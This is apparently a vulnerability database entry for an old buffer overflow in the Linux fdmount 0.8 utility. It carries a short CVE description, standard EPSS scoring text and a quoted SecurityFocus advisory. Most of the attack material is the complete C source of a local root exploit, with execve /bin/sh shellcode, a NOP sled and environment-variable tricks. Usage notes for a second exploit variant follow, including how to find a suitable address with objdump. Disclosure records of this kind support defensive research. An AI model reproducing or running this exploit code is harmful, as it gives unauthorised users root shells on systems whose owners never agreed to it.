CVE Descriptions

Buffer overflow in fdmount on Linux systems allows local users in the "floppy" group to execute arbitrary commands via a long mountpoint parameter.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/1239/info A buffer overflow exists in the 0.8 version of the fdmount program, distributed with a number of popular versions of Linux. By supplying a large, well crafted buffer containing machine executable code in place of the mount point, it is possible for users in the 'floppy' group to execute arbitrary commands as root. This vulnerability exists in versions of S.u.S.E., 4.0 and later, as well as Mandrake Linux 7.0. TurboLinux 6.0 and earlier ships with fdmount suid root, but users are not automatically added to the 'floppy' group. This list is by no means meant to be complete; other Linux distributions may be affected. To check if you're affected, check for the presence of the setuid bit on the binary. If it is present, and the binary is either world executable, or group 'floppy' executable, you are affected and should take action immediately. /* * fdmount 0.8 buffer-overflow exploit (fd-ex.c) * (C) 2000 Paulo Ribeiro <[email protected]> * * Systems tested: Slackware Linux 7.0 * * Remember: you have to be a member of floppy group to exploit it! */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 180 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/usr/bin/fdmount fd0 $RET"); } /* fd-ex.c: EOF */

The fdutils package contains a setuid root file that is used by the = floppy group to mount and unmount floppies. If you are not in this group, = this exploit will not work. This thingy was tested on Slackware 4.0 and 7.0 Use as: fdmount-exp [offset] [buf size] [valid text ptr] Since the char * text is overwritten in void errmsg(char *text) we = should make sure that this points to a valid address (something in the .data section should do perfectly). The hard coded one used works on my = box, to find the one you need use something like: objdump --disassemble-all $(whereis -b fdmount) | grep \<.data\> \ cut -d " " -f1 The HUGE number of nops is needed to make sure this exploit works.
